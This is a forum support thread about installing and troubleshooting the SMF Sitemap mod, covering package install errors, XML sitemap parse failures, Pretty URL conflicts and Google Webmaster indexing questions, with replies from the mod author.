If you're using SMF 2.0 and the latest version of the sitemap, it is very easy to add articles (well, easy for the mod author to create a plugin for it, I unfortunately don't have time)... http://www.mattzuba.com/2010/10/custom-sitemap-entries-with-smf-and-sitemap/

nope, im using smf 1.1.11
Title: Re: Sitemap
Post by: SlammedDime on November 21, 2010, 02:17:30 PM
That was in response to the post right above mine, not for you :)
Title: Re: Sitemap
Post by: Phat^Trance on November 22, 2010, 03:03:35 PM
been trying to install this plugin the entire day now without any success :(
im still getting the error message during the installation

QuoteFatal error: require(): Failed opening required '/home/phat/forum.dailymobile.se/Packages/temp/./add_settings.php' (include_path='.:/usr/lib/php') in /home/phat/forum.dailymobile.se/Sources/Packages.php on line 556
Title: Re: Sitemap
Post by: SlammedDime on November 22, 2010, 08:40:18 PM
You're sure that add_settings.php is in the recompressed zip archive?

Edit: I've uploaded a zip file to the mod page which is a recompressed version of the tar.gz that works for me.
Title: Re: Sitemap
Post by: Phat^Trance on November 22, 2010, 08:44:37 PM
I'm pretty sure since the other files worked.  Are u able to upload the file again for me? I mean the entire zip file
Title: Re: Sitemap
Post by: SlammedDime on November 23, 2010, 02:20:01 PM
A zip version is on the mods download page now.
Title: Re: Sitemap
Post by: Phat^Trance on November 24, 2010, 09:56:18 AM
Quote from: SlammedDime on November 23, 2010, 02:20:01 PM
A zip version is on the mods download page now.

it worked better to upload the zip file now without any errors, but during the installation i got this message again:

QuoteFatal error: require(): Failed opening required '/home/phat/forum.dailymobile.se/Packages/temp/./add_settings.php' (include_path='.:/usr/lib/php') in /home/phat/forum.dailymobile.se/Sources/Packages.php on line 556
Title: Re: Sitemap
Post by: SlammedDime on November 24, 2010, 04:13:47 PM
Sounds like you might have to manually create a temp directory in the Packages folder and chmod it to 777.
Title: Re: Sitemap
Post by: Phat^Trance on November 24, 2010, 05:13:10 PM
Quote from: SlammedDime on November 24, 2010, 04:13:47 PM
Sounds like you might have to manually create a temp directory in the Packages folder and chmod it to 777.

that didnt work either :/   same error message
Title: Re: Sitemap
Post by: moviespot on December 02, 2010, 09:32:11 PM
Thanks
:)
Title: Re: Sitemap
Post by: Kathleen Chute on December 08, 2010, 04:46:33 AM
I am so Bad at This, I just Upgraded My 1.1.10 to 1.1.11 to 1.1.12. Everything seems to be OK with this. I Wanted to Install Your mod. Thank you.
I Realized I Have a Mod (SMF Sitemap 1.2.2) Who Knows what it does or if it functions.
In Any Case I Tried to Remove it and I get errors Removing it. So I Cant
Actions To Remove
Type Action Description
1. Execute Modification ./index.php Test successful
2. Execute Modification ./Sources/ModSettings.php Test successful
3. Execute Modification ./Themes/default/index.template.php Test successful
4. Execute Modification ./Themes/default/languages/Help.english.php Test failed
5. Execute Modification ./Themes/default/languages/Modifications.english.php Test failed
6. Execute Modification ./Themes/default/languages/Who.english.php Test successful
7. Execute Modification ./Themes/default/style.css Test successful
8. Execute Modification ./Themes/default/languages/Help.french.php Skipping file
9. Execute Modification ./Themes/default/languages/Modifications.french.php Test failed
10. Execute Modification ./Themes/default/languages/Who.french.php Skipping file
11. Delete File ./Sources/Sitemap.php 
12. Delete File ./Themes/default/Sitemap.template.php

Then I Decided to Just install Your Mod without removal
Sitemap 2.2.1
will Not allow to install at all.
I have completely Looked over all files and I Have No Sitemap. A
Anyone got any thought???

Thanks So Much
Kathleen
Title: Re: Sitemap
Post by: SlammedDime on December 08, 2010, 09:17:12 AM
As it states on the mod page, 2.2.1 is for SMF 2.0 only (and it should not have even installed, stating it was not compatible with your version of SMF).

If you are 100% sure that there is NO sitemap code in ANY file (manually parse the mod and review every change), then just delete the mod packages and reinstall v1.2.2
Title: Re: Sitemap
Post by: Kathleen Chute on December 08, 2010, 10:22:10 AM
Thank you , I will try That
Kathleen
Title: Re: Sitemap
Post by: Ares92 on December 10, 2010, 06:19:14 PM
Hello
My problem is this I have SMF 2.0 RC4 Sitemap install when you install the forum and all right but then change the theme of the forum and I see the link in the footer of the sitemap UNINSTALL it and then reinstalled the problem came here everything installs fine but when I redirected to the configuration page Sitemap Error 500 skipped me and let me browse the forum without problems but in some configuration sections lerror me jump and 500 and also in the configuration of sitemap and try to UNINSTALL optimziar reaprar the database and still the same.

I hope you can help me.
Thanks in advance. A Salute
Title: Re: Sitemap
Post by: SlammedDime on December 10, 2010, 06:22:27 PM
All mods install to the DEFAULT smf theme only.  If you have a custom theme, you need to either manually install the mod to that theme, or choose the option to do that while installing the mod.  I can't explain why you might be getting error 500's, all I can suggest is to check your hosting error log (not your SMF error log) and see what the error says.
Title: Re: Sitemap
Post by: Ares92 on December 10, 2010, 07:06:49 PM
hello
The error also gives me the default theme.

but the strange thing is that before UNINSTALL the probe was correctly parse and I is the same.

the error is this:
let me see the sitemap but not set in admin

The website encountered an error while retrieving http://www.redhenarco.eu/foro/admin/?area=modsettings;sa=sitemap;e61878483f=96ac5e605aba718fda8b47731c4f1de6. It may be down for maintenance or configured incorrectly.
Title: Re: Sitemap
Post by: SlammedDime on December 10, 2010, 07:08:45 PM
Could be something to do with whatever SEF url mod you're using... try disabling that and accessing it.
Title: Re: Sitemap
Post by: Ares92 on December 10, 2010, 08:29:45 PM
Hi had the pretty urls you change it by his SEF Simple ff orwith the same error. but I'll feel the same mistake the SEF Simple
Title: Re: Sitemap
Post by: alpheus on December 14, 2010, 10:12:03 AM
Hello I installed this mod. And now how will I send my sitemap to google? Is this link right?

http://mysite.com/index.php?action=sitemap and I am using pretty urls. Why my xml links like that?

http://mysite.com/index.php?board=12.0
Title: Re: Sitemap
Post by: alpheus on December 14, 2010, 02:35:55 PM
help me pls. I controlled SlammedDime xml link and it is like that;

http://www.airridetalk.com/forum/general/

I am using pretty urls and why is my links are like that?

http://mysite.com/index.php?board=12.0
Title: Re: Sitemap
Post by: SlammedDime on December 14, 2010, 07:48:58 PM
For starters, I don't use Pretty URLs on my personal site.

Secondly, there are lots of posts in this topic for folks that have had issues with Pretty URLs and the version of this sitemap for SMF 1.1.x.

Third, I need an actual URL to your site... posting 'mysite.com' links doesn't help...

Fourth, please don't PM me unless I invite you to, and give me more than a couple of hours to reply to the topic.  I do have a full time life outside of SM.org that comes first.
Title: Re: Sitemap
Post by: alpheus on December 15, 2010, 07:19:07 AM
Ok Slammed. I didn't give my link cause of it is an adult site. HERE (http://www.nicexporn.com) is my link. My xml links not fit to pretty.
Title: Re: Sitemap
Post by: impreza on December 18, 2010, 11:43:50 AM
Hi mod sitemap is adjustable number of links to maps of the site. I have a question because, as far as it is set to be used as topics for the forum is more to where to get the second map site with more links?

Zooming in fashion does not make sense to above 20 000

What he does not generate a few links of various map sites?
Title: Re: Sitemap
Post by: lazym4n2010 on December 23, 2010, 05:24:04 PM
Hi , I installed sitemap and changed a few things because I'm using a custom theme, I get a sitemap at the bottom of my website that works fine, but I don't get an xml link?? What am I doing wrong? or have i missed something out whilst modifying manually the custom theme?
can anyone help??
Title: Re: Sitemap
Post by: Masterd on December 24, 2010, 11:59:09 AM
I can't install this mod on SMF 2.0 RC4.
Title: Re: Sitemap
Post by: SlammedDime on December 24, 2010, 03:36:29 PM
Quote from: lazym4n2010 on December 23, 2010, 05:24:04 PM
Hi , I installed sitemap and changed a few things because I'm using a custom theme, I get a sitemap at the bottom of my website that works fine, but I don't get an xml link?? What am I doing wrong? or have i missed something out whilst modifying manually the custom theme?
can anyone help??

The link should always be viewable if you are logged in as an admin.  If you are not logged in as admin, there is an option in the Sitemap settings to make the link viewable only to admins or not.  Note that even if the link is not viewable, the page itself still is.

Quote from: Masterd on December 24, 2010, 11:59:09 AM
I can't install this mod on SMF 2.0 RC4.
And I can't help you without more information...
Title: Re: Sitemap
Post by: Masterd on December 24, 2010, 05:20:57 PM
Quote from: SlammedDime on December 24, 2010, 03:36:29 PM
And I can't help you without more information...

I fixed that by myself.
Title: Re: Sitemap
Post by: lazym4n2010 on December 26, 2010, 10:51:43 AM


[/quote]The link should always be viewable if you are logged in as an admin.  If you are not logged in as admin, there is an option in the Sitemap settings to make the link viewable only to admins or not.  Note that even if the link is not viewable, the page itself still is.

The checkbox was not ticked in the settings thanks its fixed now :)
Title: Re: Sitemap
Post by: Storman™ on December 29, 2010, 09:23:42 AM
Hi, your demo site at http://www.airridetalk.com/forum/sitemap is coming up as "This web page at www.airridetalk.com has been reported as an attack page and has been blocked...." in Firefox.  (See attachment for image).

You can read the Safe Browsing report on Google for this site HERE (http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-GB&site=http://www.airridetalk.com/forum/)

The main bit says "3 page(s) resulted in malicious software being downloaded and installed without user consent."

Not quite sure how to interpret that, could be anything ??

Would like to see a demo of this mod but I'm cautious about looking at that site at the moment.

Can you (or the site owner) investigate and correct the issue(s)  ??

Cheers  ;)




Title: Re: Sitemap
Post by: SlammedDime on December 29, 2010, 12:05:11 PM
Thanks for the info, I've cleaned up the site (someone hacked my index.php file for Mambo) and submitted it for reconsideration to Google.

From: http://sitecheck.sucuri.net/scanner/

QuoteSecurity report (no threats found):
       Blacklisted:      Yes
   Malware:    No
   Malicious javascript:      No
   Drive-By Downloads:      No
       Anomaly detection:      No
       IE-only attacks:        No
   Malicious iframes:    No
   Suspicious redirections:        No
   Spam:   No
Title: Re: Sitemap
Post by: Scapelord00 on January 09, 2011, 11:44:52 PM
I have an error when installing this mod. The error is from the file index.template.php

All the other files are OK but this one gives the problema when installing, so i havn't installed yet.

By the way, im using SimplePortal, SMF RC4 and some other mods but i don't think they are the trouble
Title: Re: Sitemap
Post by: Qayyom Ashraf on January 10, 2011, 12:45:57 AM
Only XML Site map is not working, Please HELP !

Dear Experts

Please help me to resolve this issue. It was working properly 3,4 days before.

I've UnInstalled and Installed it again, but the same problem is exists.

Please Check:
http://www.jangforum.com/index.php?action=sitemap;xml

Title: Re: Sitemap
Post by: SlammedDime on January 10, 2011, 12:22:55 PM
For some reason Firefox on your computer is not displaying the XML properly.  it looks fine to me on my computers.  Go to 'View -> Source' and view the source of the page, it should look like nicely formatted XML.  There is nothing wrong with your sitemap.
Title: Re: Sitemap
Post by: SlammedDime on January 10, 2011, 12:23:44 PM
Quote from: Scapelord00 on January 09, 2011, 11:44:52 PM
I have an error when installing this mod. The error is from the file index.template.php

All the other files are OK but this one gives the problema when installing, so i havn't installed yet.

By the way, im using SimplePortal, SMF RC4 and some other mods but i don't think they are the trouble
Some other mod has edited index.template.php in a way that this mod cannot edit the footer to add a Sitemap link... you'll have to manually add it.
Title: Re: Sitemap
Post by: malcomxar on January 10, 2011, 12:25:25 PM
Hi, I am getting this error when trying to acces xml

QuoteError de lectura XML: no se encuentra elemento
Ubicación: http://www.gptlatino.com/index.php?action=sitemap;xml
Número de línea 1, columna 1:

Can you help me?
Title: Re: Sitemap
Post by: Scapelord00 on January 10, 2011, 07:33:00 PM
Ok i solved the problem of the index.template.php of the Default Theme, but when i try to install it on my custom theme i get the same error.

It says

Find
         <li class="copyright">', theme_copyright(), '</li>

Ad after

         <li><a href="', $scripturl, '?action=sitemap"><span>', $txt['sitemap'] ,'</span></a></li>


But i can't find that line on my theme index.template.php

The only line i have found on my template that looks like something about the copyright is:

Quote<div class="copyright-r">
                 <span class="smalltext"><br />', theme_copyright(), '<br />
                 Theme adapted to SMF by <a href="http://www.skinmod.eu" target="_blank"><b>YIHAD</b></a><br />
                 designed by <a href="http://www.completevb.com" target="_blank"><b>CompletevB</b></a></span>';

Title: Re: Sitemap
Post by: SlammedDime on January 10, 2011, 07:50:12 PM
You can just add the code anywhere you like.  It's just a link to the sitemap, it has no significance to the operation of the mod where it is placed.
Title: Re: Sitemap
Post by: Scapelord00 on January 10, 2011, 09:03:27 PM
Hey thanks! Finally i installed it. Can you check this please, i keep getting this error everytime i want to see the xlm.

http://peruzone.isgreat.org/index.php?action=sitemap;xml

it says "error on line 235 at column 1: Extra content at the end of the document"
Title: Re: Sitemap
Post by: SlammedDime on January 11, 2011, 12:33:29 AM
You have some extra code on your site, probably placed there by your host, that is causing problems... the XML sitemap will not work while this code is there.

<div style="text-align: center;"><div style="position:relative; top:0; margin-right:auto;margin-left:auto; z-index:99999">
<div align="center"><a href="http://alojamientogratuito.info" target="_blank"><img src="http://freehosting-web.eu/img/web-hosting.png" alt="Free Hosting" title="Free Hosting"  border="0" ></a><a href="http://topdirectorio.info" target="_blank"><img src="http://freehosting-web.eu/img/Directorio-web.png" alt="Directorio web" title="Directorio web" border="0"></a>
</div>
</div></div>


If you didn't put it there, your host probably did and will need to alter the way it works so it doesn't output on XML type files (which will break anything ajax/json related).  If you did put it there, you'll need to relocate the code so it's in index.template.php before the </body> tag.
Title: Re: Sitemap
Post by: Scapelord00 on January 11, 2011, 01:11:01 AM
Quote from: SlammedDime on January 11, 2011, 12:33:29 AM
You have some extra code on your site, probably placed there by your host, that is causing problems... the XML sitemap will not work while this code is there.

<div style="text-align: center;"><div style="position:relative; top:0; margin-right:auto;margin-left:auto; z-index:99999">
<div align="center"><a href="http://alojamientogratuito.info" target="_blank"><img src="http://freehosting-web.eu/img/web-hosting.png" alt="Free Hosting" title="Free Hosting"  border="0" ></a><a href="http://topdirectorio.info" target="_blank"><img src="http://freehosting-web.eu/img/Directorio-web.png" alt="Directorio web" title="Directorio web" border="0"></a>
</div>
</div></div>


</body> tag.

I didn't put it there, it was the host. Do you know any way to remove it only from that page? I don't wanna break the host rules, but i would like to take that code from the sitemap page.
Title: Re: Sitemap
Post by: impreza on January 11, 2011, 06:47:39 AM
Very good modification
Title: Re: Sitemap
Post by: katb on January 14, 2011, 04:24:42 AM
is this mod support SMF 2.0 RC3 ....
Title: Re: Sitemap
Post by: SlammedDime on January 14, 2011, 11:30:34 AM
You can try to install it on RC3, but I won't support it if something isn't working right.
Title: Re: Sitemap
Post by: Blade_Runner on January 15, 2011, 11:42:24 AM
I have installed 2.2.1 package. It is showing as 2.2.0 in the package list. Is this alright? The sitemap is working perfectly.
Title: Re: Sitemap
Post by: SlammedDime on January 15, 2011, 10:30:39 PM
It's fine, it looks like I just forgot to update the version in package-info.xml.
Title: Re: Sitemap
Post by: Sirius OCTeam on January 16, 2011, 07:15:48 AM
just thank you for your work
Title: Re: Sitemap
Post by: SlammedDime on January 16, 2011, 10:11:05 AM
Thanks :-)
Title: Re: Sitemap
Post by: CeFurkan on January 17, 2011, 06:33:28 PM
An Error Has Occurred!
Invalid selection



please help thank you

http://forumen.pokemoncraft.com/
Title: Re: Sitemap
Post by: SlammedDime on January 17, 2011, 07:01:41 PM
That means the mod was not installed properly.  manually parse the mod and ensure allllllll instructions are completed successfully
Title: Re: Sitemap
Post by: feline on January 31, 2011, 04:17:57 PM
There is a small bug on the latest version for SMF2.0 ..
Always the xml button is selected on view the list (board / topics)

Fix that in /Sources/Sitemap.php:
Find around line 125:

foreach ($context['sitemap']['extensions'] as $subAction => $dummy)
{
if ($dummy['has_display'])
$buttonList[] = '<li><a href="' . $scripturl . '?action=sitemap;sa=' . $subAction . '"><span>' . $txt['sitemap_' . $subAction] . '</span></a></li>';
}

if (!empty($modSettings['sitemap_xml']) || $context['user']['is_admin'])
$buttonList[] = '<li><a class="active" href="' . $scripturl . '?action=sitemap;xml"><span>XML</span></a></li>';


Replace with:

$reqAct = (empty($_REQUEST['sa']) ? 'boards' : $_REQUEST['sa']);
foreach ($context['sitemap']['extensions'] as $subAction => $dummy)
{
if ($dummy['has_display'])
$buttonList[] = '<li><a'. ($reqAct == $subAction ? ' class="active"' : '') .' href="' . $scripturl . '?action=sitemap;sa=' . $subAction . '"><span>' . $txt['sitemap_' . $subAction] . '</span></a></li>';
}

if (!empty($modSettings['sitemap_xml']) || $context['user']['is_admin'])
$buttonList[] = '<li><a href="' . $scripturl . '?action=sitemap;xml"><span>XML</span></a></li>';


Fel
Title: Re: Sitemap
Post by: ambre222 on January 31, 2011, 05:48:25 PM
Hello  :D
Thanks for a great mod.
I just installed it, but pretty url is not working with the xml sitemap: http://www.attrape-songes.com/forum/sitemap/?xml
I spent quite some time reading this topic and the solution found did not apply (I do not have the on vs 1 issue).
I got the version 1.2.2  of the sitemap, SMF 1.1.12 and pretty url 1.0RC2a.
Do you have any idea ?
Thanks
Title: Re: Sitemap
Post by: SlammedDime on January 31, 2011, 07:05:09 PM
Fel - It's not a bug, it's intentional.  Thanks though.

ambre - I know the topic is long, but if you look somewhere in the most recent 5-10 pages, I think there have been some comments on how people have gotten it to work with Pretty URLs for the 1.1.x version.
Title: Re: Sitemap
Post by: !RFAN on January 31, 2011, 08:17:51 PM
i reinstalled it and now it is working fine..

i just want to know that how can i submit my xml sitemap to google using this mod??
Title: Re: Sitemap
Post by: SlammedDime on January 31, 2011, 08:44:37 PM
Sign up for a google account if you don't already have one.  Go to Webmaster Tools, add your site and verify it if you haven't already, then submit the sitemap.
Title: Re: Sitemap
Post by: !RFAN on February 01, 2011, 01:23:28 AM
Thanks, i know the method.. but they need a xml file for this.. my question was regarding this mod.. i mean how can i use this mod for sitemap submission?
Title: Re: Sitemap
Post by: Arantor on February 01, 2011, 07:10:22 AM
Because this mod generates an XML sitemap... as indicated above.
Title: Re: Sitemap
Post by: !RFAN on February 01, 2011, 08:09:12 AM
so should i save a XML file in my forum directory by copying XML code provided by this mod?
or, what address should i provide?

Thanks Arantor
Title: Re: Sitemap
Post by: Arantor on February 01, 2011, 08:33:01 AM
No, give the URL of the XML sitemap to Google...
Title: Re: Sitemap
Post by: MarkoKg on February 02, 2011, 10:16:15 AM
Hello there.

Ive upgraded my 1.1.12 forum to 2.0 RC4, and ive installed this mod again. (using custom theme)
Install was fine, and the sitemap works fine, but i have big number of errors in error log about that.

Quote8: Undefined index: sitemap_cache_ttl
File: /home/.../Sources/Sitemap-Ext/sitemap_topics.php
Line: 120

And...

Quote8: Undefined index: sitemap_91day_priority
File: home/...../Sources/Sitemap.php
Linija: 166

As i know of that is "string missing" errors, but i have those strings in modifications.serbian_latin-utf8.php (i use only that language)
File attached, and i hope that someone can help me with this.

Regards.
Title: Re: Sitemap
Post by: SlammedDime on February 02, 2011, 10:37:24 AM
Looks like add_settings.php may not have been run properly.  You should either uninstall the mod and install it again, or extract add_settings.php from the archive, upload it to your forum root and navigate to it (http://myforum/add_settings.php).
Title: Re: Sitemap
Post by: MarkoKg on February 02, 2011, 10:47:26 AM
Thanks ive runned add_settings, and it looks fine now.
I will let you know if there is any problems in future.

Thanks once again!
Title: Re: Sitemap
Post by: reefforum on February 04, 2011, 10:32:59 AM
I'm getting this message trying to install on default theme:


Error in Package Installation
At least one error was encountered during a test installation of this package. It is strongly recommended that you do not continue with installation unless you know what you are doing, and have made a backup very recently. This error may be caused by a conflict between the package you're trying to install and another package you have already installed, an error in the package, a package which requires another package that you don't have installed yet, or a package designed for another version of SMF.
Title: Re: Sitemap
Post by: SlammedDime on February 04, 2011, 10:35:18 AM
Okay... and what edit fails?  Regardless, you'll have to manually make that edit.
Title: Re: Sitemap
Post by: reefforum on February 04, 2011, 10:43:15 AM
how can I do manual anything to the default theme?

is it conflicting with another mod?
Title: Re: Sitemap
Post by: SlammedDime on February 04, 2011, 10:44:41 AM
It's either conflicting with another mod or a manual edit.

Manual Installation of Mods (http://docs.simplemachines.org/index.php?topic=402.0) (be sure to read through all of the comments on that page too)
Title: Re: Sitemap
Post by: reefforum on February 04, 2011, 10:46:04 AM
you guys know of another sitemap mod?
Title: Re: Sitemap
Post by: reefforum on February 04, 2011, 10:49:09 AM
4.   Execute Modification   ./Themes/default/index.template.php   Test failed

I thought using the default theme means I dont have to manually install naything
Title: Re: Sitemap
Post by: Kathleen Chute on February 04, 2011, 12:03:25 PM
 Hi There.
Thank You for sharing this Mod, I personally cannot get it to work for me. However,I'm Sure It is working fine, I am Just skiddish on Doing anything manually, I just up graded to 1.1.12 today. Thanks To smf support .
Do you see an upgrade coming ?
Thanks Kathleen
Title: Re: Sitemap
Post by: SlammedDime on February 04, 2011, 01:22:08 PM
Quote from: reefforum on February 04, 2011, 10:49:09 AM
4.   Execute Modification   ./Themes/default/index.template.php   Test failed

I thought using the default theme means I dont have to manually install naything
Not if another modification has modified some other code that this modifies.  In this case it's the physical link to the sitemap.  Another mod has altered the copyright area where this normally places a link so it can't do it.  You'll have to manually modify the code.

Quote from: Kathleen Chute on February 04, 2011, 12:03:25 PM
Hi There.
Thank You for sharing this Mod, I personally cannot get it to work for me. However,I'm Sure It is working fine, I am Just skiddish on Doing anything manually, I just up graded to 1.1.12 today. Thanks To smf support .
Do you see an upgrade coming ?
Thanks Kathleen
The mod installs and works on a clean unmodified version of SMF 1.1.12, and there aren't any bugs worth fixing so there won't be any upgrades for the Sitemap for SMF 1.1.x.  All development for Sitemap is only for SMF 2.0 now.
Title: Re: Sitemap
Post by: Kathleen Chute on February 04, 2011, 02:51:40 PM
Quote from: SlammedDime on February 04, 2011, 01:22:08 PM
Quote from: reefforum on February 04, 2011, 10:49:09 AM
4.   Execute Modification   ./Themes/default/index.template.php   Test failed

I thought using the default theme means I dont have to manually install naything
Not if another modification has modified some other code that this modifies.  In this case it's the physical link to the sitemap.  Another mod has altered the copyright area where this normally places a link so it can't do it.  You'll have to manually modify the code.

How do you manually modify the code??
Thanks Kathleen
Title: Re: Sitemap
Post by: SlammedDime on February 04, 2011, 03:06:23 PM
In a nut shell, you have to use an FTP client to download the file to your local computer, follow the instructions for manually modifying the file for this particular mod (on the mod's download page, click the radio button next to the version of the mod you want to parse, select your version of SMF from the dropdown and click the Parse button), and then upload the file back to your web space.
Title: Re: Sitemap
Post by: Kathleen Chute on February 04, 2011, 03:17:39 PM
Thank You !!!! SMILE Thats the first time I was explained that . Im educated  O:)
Title: Re: Sitemap
Post by: reefforum on February 04, 2011, 05:02:17 PM
this is what I have on the bottom of the page.  any ideas which one is causing the problem?


Powered by SMF 1.1.12 | SMF © 2006-2009, Simple Machines LLC
           SimplePortal 2.3.3 © 2008-2010, SimplePortal
                         SMFAds for Forums    
Forum Hosting, Chat Software and FTP Hosting powered by OLI

also, how does one modify the default theme?  in the edit theme option I have no way of editing the default one only the custom ones.
Title: Re: Sitemap
Post by: SlammedDime on February 04, 2011, 05:15:27 PM
Quote from: SlammedDime on February 04, 2011, 03:06:23 PM
In a nut shell, you have to use an FTP client to download the file to your local computer, follow the instructions for manually modifying the file for this particular mod (on the mod's download page, click the radio button next to the version of the mod you want to parse, select your version of SMF from the dropdown and click the Parse button), and then upload the file back to your web space.
Title: Re: Sitemap
Post by: An0nymousHelper on February 06, 2011, 09:34:24 PM
I installed the mod but when i go to http://www.MYSITE.com/forums/index.php?action=sitemap it just takes me to the login page. When i go to http://www.MYSITE.com/forums/index.php?action=sitemap;xml I get this error:

This page contains the following errors:

error on line 4 at column 1: Extra content at the end of the document
Below is a rendering of the page up to the first error.


I have SMF 1.1.11 any help will be very appreciated!!!!! Thanks.
Title: Re: Sitemap
Post by: SlammedDime on February 07, 2011, 09:51:39 AM
Is your forum open to guests?
Title: Re: Sitemap
Post by: Blade_Runner on February 07, 2011, 12:48:17 PM
Thanks for this great mod. I have been using this since 1.1.11 without problem. Unfortunately, it is not working in 2.0 RC4. After a few months, Google webmaster sitemap is always showing that only 1 or 3 urls in web index. However, my Firefox SEO tool bar is showing 7,970 pages are indexed in Google. Why is this so?

Following is the Google Webmaster Sitemap info
/forums/index.php?type=rss2;action=.xml;limit=5000
URLs submitted  - 256
URLs in web index - 1
/forums/sitemap.xml
URLs submitted  - 743
URLs in web index - 3

This is my robots.txt file.
sitemap: http://modcarclub.com/forums/sitemap.xml (http://modcarclub.com/forums/sitemap.xml)
sitemap: http://modcarclub.com/forums/index.php?type=rss2;action=.xml;limit=5000 (http://modcarclub.com/forums/index.php?type=rss2;action=.xml;limit=5000)
Title: Re: Sitemap
Post by: SlammedDime on February 07, 2011, 12:55:21 PM
I can't really answer that question... the sitemap is doing it's job and is 'working' as it should, it is submitting all topics and boards to google...
Quote/forums/sitemap.xml
URLs submitted  - 743

Whether or not Google will index your site is not up to this mod, it is something Google dictates.

QuoteHowever, my Firefox SEO tool bar is showing 7,970 pages are indexed in Google.
This is all of the pages that google may have in its index, which may not match what the sitemap produces.  The 'URLs in web index' shows how many URLs from that particular sitemap are actually in Google's index.

The point of this mod is not to get you indexed, nor does it promise to get you indexed, or anything of the like.  It's only goal is to create a XML sitemap that can be made available to search engines to show them what URLs they should be indexing on your site.  It is up to them to actually index content.
Title: Re: Sitemap
Post by: Blade_Runner on February 07, 2011, 01:17:54 PM
Quote from: SlammedDime on February 07, 2011, 12:55:21 PM
I can't really answer that question... the sitemap is doing it's job and is 'working' as it should, it is submitting all topics and boards to google...
Quote/forums/sitemap.xml
URLs submitted  - 743

Whether or not Google will index your site is not up to this mod, it is something Google dictates.

QuoteHowever, my Firefox SEO tool bar is showing 7,970 pages are indexed in Google.
This is all of the pages that google may have in its index, which may not match what the sitemap produces.  The 'URLs in web index' shows how many URLs from that particular sitemap are actually in Google's index.

The point of this mod is not to get you indexed, nor does it promise to get you indexed, or anything of the like.  It's only goal is to create a XML sitemap that can be made available to search engines to show them what URLs they should be indexing on your site.  It is up to them to actually index content.

My question is why this sitemap mod is not generating the same URLs that are indexed in Google. For the past few months, I can see new URL being indexed in the Google Analytics, Webmaster and SMF GoogleTagged. I don't have problem with the 1.1.11 version. Only in the 2.0RC4 version.
Title: Re: Sitemap
Post by: SlammedDime on February 07, 2011, 01:26:18 PM
Not sure, the Sitemap is generating the URLs it is supposed to and based on Google's webmaster tools, it looks like Google sees them (but has not indexed them).  I can't answer as to why Google is indexing some URLs and not others.
Title: Re: Sitemap
Post by: Blade_Runner on February 08, 2011, 08:48:10 AM
Quote from: SlammedDime on February 07, 2011, 01:26:18 PM
Not sure, the Sitemap is generating the URLs it is supposed to and based on Google's webmaster tools, it looks like Google sees them (but has not indexed them).  I can't answer as to why Google is indexing some URLs and not others.

I found out the reason to the problem. I had SMF default "Search engine friendly URLs" turned on. Thus sitemap mod generate "Search engine friendly URLs". But Google indexed all URLs as non-"Search engine friendly URLs". I turned off "Search engine friendly URLs". After a day, Google webmaster showed that URLs submitted - 743 and URLs in web index - 662.

Anyone know the reason why Google only index non-"Search engine friendly URLs" when my forum and Google sitemap are "Search engine friendly URLs" since day 1?
Title: Re: Sitemap
Post by: feline on February 08, 2011, 12:32:30 PM
not any SEF styled url is a good styled SEF url  ;)
how look yours? you have a example ?
Title: Re: Sitemap
Post by: Blade_Runner on February 08, 2011, 01:27:28 PM
Quote from: feline on February 08, 2011, 12:32:30 PM
not any SEF styled url is a good styled SEF url  ;)
how look yours? you have a example ?

I am using SMF default SEF URL.
Following is default SMF SEF URL.
http://modcarclub.com/forums/index.php/board,105.0.html
Google doesn't index the above even when it is in sitemap and is my forum's URL. It index the non-SEF URLs instead.
http://modcarclub.com/forums/index.php?board=105.0

Thus, Google webmaster is always showing 3 urls in index. Turn off SMF SEF urls and Google webmaster immediately shows all my indexed URLS which is 662.
Title: Re: Sitemap
Post by: feline on February 08, 2011, 02:31:10 PM
I have read many stories about SEO/SEF from google .. and I think, the comma in the url make problems.
This I have never seen in all the docs .. all use a dot, underscore or hyphen. You can try a look at our site .. we use SEF with a google frienly format  ;)
Title: Re: Sitemap
Post by: reinner on February 10, 2011, 05:05:47 AM
I installed thise mod and I got any error. Please see attached image.
I tried to follow the installation instruction (2.0 RC 4 Parse).

I still can't see the 'sitemap' in my forum

Thanks in advance for future help.

Cheers to all
-----

I am using fuzzy 20rc4
SMF version 2.9 RC 4

Current installed mod:
1.    Sitemap    2.2.0
2.    Show your social networks    2.0
3.    Member Awards    2.2.3
4.    Aeva ~ Auto-Embed Video & Audio 7.1    
Title: Re: Sitemap
Post by: Blade_Runner on February 12, 2011, 09:04:36 PM
Does the new RC4 security patch affect this mod?
Title: Re: Sitemap
Post by: SlammedDime on February 12, 2011, 09:18:29 PM
It shouldn't...
Title: Re: Sitemap
Post by: An0nymousHelper on February 12, 2011, 09:27:44 PM
Sorry for late response. No my site is not open to guests.
Title: Re: Sitemap
Post by: Arantor on February 12, 2011, 10:18:26 PM
If your forum isn't open to guests, a sitemap can't be generated since the system is requiring a login instead (so it's going to the login screen) - but if it's not open to guests, can't really expect to get any rankings in the search engines seeing that they rank on content...
Title: Re: Sitemap
Post by: Blade_Runner on February 13, 2011, 09:18:09 AM
I found out that xml doesn't parse after installing the new "Google Analytics Code version 1.3". I get the following error.
---------------------------------------
XML Parsing Error: not well-formed
Location: http://modcarclub.com/forums/index.php?action=sitemap;xml
Line Number 13, Column 2:</head>ersion="1.0" encoding="UTF-8"?>
-^
---------------------------------------

After uninstalling the new Google Analytics, there is no problem. No problem with old version of Google Analytics mod too.

Anyone with the same problem?
Title: Re: Sitemap
Post by: Arantor on February 13, 2011, 09:20:10 AM
Someone rewrote it to use buffers but screwed it up in the process since they didn't check whether $_REQUEST['xml'] was set.
Title: Re: Sitemap
Post by: SlammedDime on February 13, 2011, 09:55:55 AM
Yea, it's a bug with the google analytics mod that you'll need to address with it's author.
Title: Re: Sitemap
Post by: Arantor on February 13, 2011, 10:11:51 AM
/me wonders when the Customization Team will fix it...
Title: Re: Sitemap
Post by: phpshiva on February 19, 2011, 04:51:40 AM
When do you adjust then sitemap to SMF 2.0 RC5 ?
I would love to have it again but this one doesent install on it

Thanks for all you work
Title: Re: Sitemap
Post by: alpheus on February 19, 2011, 08:05:24 AM
hi friends. I have sitemap mod in my site. There was no problem but suddenly I saw this error in webmaster Tools;

Unsupported file format
Your Sitemap does not appear to be in a supported format. Please ensure it meets our Sitemap guidelines and resubmit.

When I write the sitemap address to my browser there is no problem! What is the issue please?
Title: Re: Sitemap
Post by: Arantor on February 19, 2011, 08:06:18 AM
What link did you give to GWT?
Title: Re: Sitemap
Post by: alpheus on February 19, 2011, 08:25:59 AM
I gave as sitemap.xml, thanks for your voice...
Title: Re: Sitemap
